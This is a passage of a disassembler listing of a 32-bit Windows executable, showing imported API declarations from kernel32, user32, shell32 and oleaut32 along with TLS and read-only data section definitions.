__imp_GetLastError_0:dword ; DATA XREF: GetLastError_0r ; DWORD __stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart) extrn __imp_GetFullPathNameA:dword ; DATA XREF: GetFullPathNameAr ; BOOL __stdcall GetDiskFreeSpaceA(LPCSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters) extrn __imp_GetDiskFreeSpaceA:dword ; DATA XREF: GetDiskFreeSpaceAr ; int __stdcall GetDateFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCSTR lpFormat, LPSTR lpDateStr, int cchDate) extrn __imp_GetDateFormatA:dword ; DATA XREF: GetDateFormatAr ; DWORD __stdcall GetCurrentThreadId_0() extrn __imp_GetCurrentThreadId_0:dword ; DATA XREF: GetCurrentThreadId_0r ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn __imp_GetCPInfo:dword ; DATA XREF: GetCPInfor ; UINT __stdcall GetACP() extrn __imp_GetACP:dword ; DATA XREF: GetACPr ; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule) extrn __imp_FreeLibrary_0:dword ; DATA XREF: FreeLibrary_0r ; DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments) extrn __imp_FormatMessageA:dword ; DATA XREF: FormatMessageAr ; void __stdcall ExitProcess_0(UINT uExitCode) extrn __imp_ExitProcess_0:dword ; DATA XREF: ExitProcess_0r ; BOOL __stdcall EnumCalendarInfoA(CALINFO_ENUMPROCA lpCalInfoEnumProc, LCID Locale, CALID Calendar, CALTYPE CalType) extrn __imp_EnumCalendarInfoA:dword ; DATA XREF: EnumCalendarInfoAr ; void __stdcall EnterCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_EnterCriticalSection_0:dword ; DATA XREF: EnterCriticalSection_0r ; void __stdcall DeleteCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_DeleteCriticalSection_0:dword ; DATA XREF: DeleteCriticalSection_0r ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn __imp_CreateProcessA:dword ; DATA XREF: CreateProcessAr ; HANDLE __stdcall CreateFileA_0(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn __imp_CreateFileA_0:dword ; DATA XREF: CreateFileA_0r ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn __imp_CreateEventA:dword ; DATA XREF: CreateEventAr ; int __stdcall CompareStringA(LCID Locale, DWORD dwCmpFlags, LPCSTR lpString1, int cchCount1, LPCSTR lpString2, int cchCount2) extrn __imp_CompareStringA:dword ; DATA XREF: CompareStringAr ; BOOL __stdcall CloseHandle_0(HANDLE hObject) extrn __imp_CloseHandle_0:dword ; DATA XREF: CloseHandle_0r ; ; Imports from user32.dll ; ; int __stdcall MessageBoxA_0(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn __imp_MessageBoxA_0:dword ; DATA XREF: MessageBoxA_0r ; int __stdcall LoadStringA_0(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax) extrn __imp_LoadStringA_0:dword ; DATA XREF: LoadStringA_0r ; int __stdcall GetSystemMetrics(int nIndex) extrn __imp_GetSystemMetrics:dword ; DATA XREF: GetSystemMetricsr ; LPSTR __stdcall CharNextA_0(LPCSTR lpsz) extrn __imp_CharNextA_0:dword ; DATA XREF: CharNextA_0r ; BOOL __stdcall CharToOemA(LPCSTR pSrc, LPSTR pDst) extrn __imp_CharToOemA:dword ; DATA XREF: CharToOemAr ; ; Imports from shell32.dll ; ; HINSTANCE __stdcall ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd) extrn __imp_ShellExecuteA:dword ; DATA XREF: ShellExecuteAr ; ; Imports from kernel32.dll ; ; void __stdcall Sleep(DWORD dwMilliseconds) extrn __imp_Sleep:dword ; DATA XREF: Sleepr ; ; Imports from oleaut32.dll ; ; HRESULT __stdcall SafeArrayPtrOfIndex(SAFEARRAY *psa, LONG *rgIndices, void **ppvData) extrn __imp_SafeArrayPtrOfIndex:dword ; DATA XREF: SafeArrayPtrOfIndexr ; HRESULT __stdcall SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound) extrn __imp_SafeArrayGetUBound:dword ; DATA XREF: SafeArrayGetUBoundr ; HRESULT __stdcall SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound) extrn __imp_SafeArrayGetLBound:dword ; DATA XREF: SafeArrayGetLBoundr ; SAFEARRAY *__stdcall SafeArrayCreate(VARTYPE vt, UINT cDims, SAFEARRAYBOUND *rgsabound) extrn __imp_SafeArrayCreate:dword ; DATA XREF: SafeArrayCreater ; HRESULT __stdcall VariantChangeType(VARIANTARG *pvargDest, const VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt) extrn __imp_VariantChangeType:dword ; DATA XREF: VariantChangeTyper ; HRESULT __stdcall VariantCopy(VARIANTARG *pvargDest, const VARIANTARG *pvargSrc) extrn __imp_VariantCopy:dword ; DATA XREF: VariantCopyr ; HRESULT __stdcall VariantClear(VARIANTARG *pvarg) extrn __imp_VariantClear:dword ; DATA XREF: VariantClearr ; void __stdcall VariantInit(VARIANTARG *pvarg) extrn __imp_VariantInit:dword ; DATA XREF: VariantInitr ; Section 5. (virtual address 00017000) ; Virtual size : 0000000C ( 12.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00013C00 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 20017000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 3 dup(?) ; DATA XREF: .rdata:TlsDirectoryo TlsEnd dd 7Dh dup(?) ; DATA XREF: .rdata:TlsEnd_ptro _tls ends ; Section 6. (virtual address 00018000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00013C00 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 20018000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd offset TlsEnd TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends end start